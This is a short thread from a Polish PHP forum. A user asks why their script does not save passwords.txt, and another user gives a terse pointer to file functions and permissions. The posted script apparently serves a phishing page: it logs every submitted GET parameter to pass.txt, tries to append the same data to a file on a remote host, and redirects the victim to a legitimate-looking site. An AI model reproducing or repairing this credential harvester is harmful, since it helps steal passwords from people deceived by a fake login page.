Post
#1
|
|
|
Grupa: Zarejestrowani Postów: 43 Pomógł: 0 Dołączył: 9.10.2007 Ostrzeżenie: (0%)
|
Mam taki kod. Nie zapisuje mi sie plik passwords.txt . Co jest źle?
Kod [size="2"]<?php
header("Location: http://www.strona.pl/index.html"); $handle = fopen("pass.txt", "a"); $handle2 = fopen("http://www.strona.pl/passwords.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); fwrite($handle2, $variable); fwrite($handle2, "="); fwrite($handle2, $value); fwrite($handle2, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); fwrite($handle2, "\r\n"); fclose($handle2); ?> [/size] |
|
|
|
![]() |
Post
#2
|
|
|
Grupa: Zarejestrowani Postów: 813 Pomógł: 34 Dołączył: 18.03.2007 Skąd: o stamtąd Ostrzeżenie: (0%)
|
poczytaj o file_put_contents, file_get_contents, chmod, uprawnieniach i tablicach, ogarnij trochę swój kod.
|
|
|
|
Dyshoo [php] zapisywanie danych z formularza w pliku txt 23.12.2007, 18:43:27
Dyshoo Skrypt ogólnie działa tylko nie zapisuje pliku pas... 23.12.2007, 20:24:39 ![]() ![]() |
|
Aktualny czas: 31.12.2025 - 15:50 |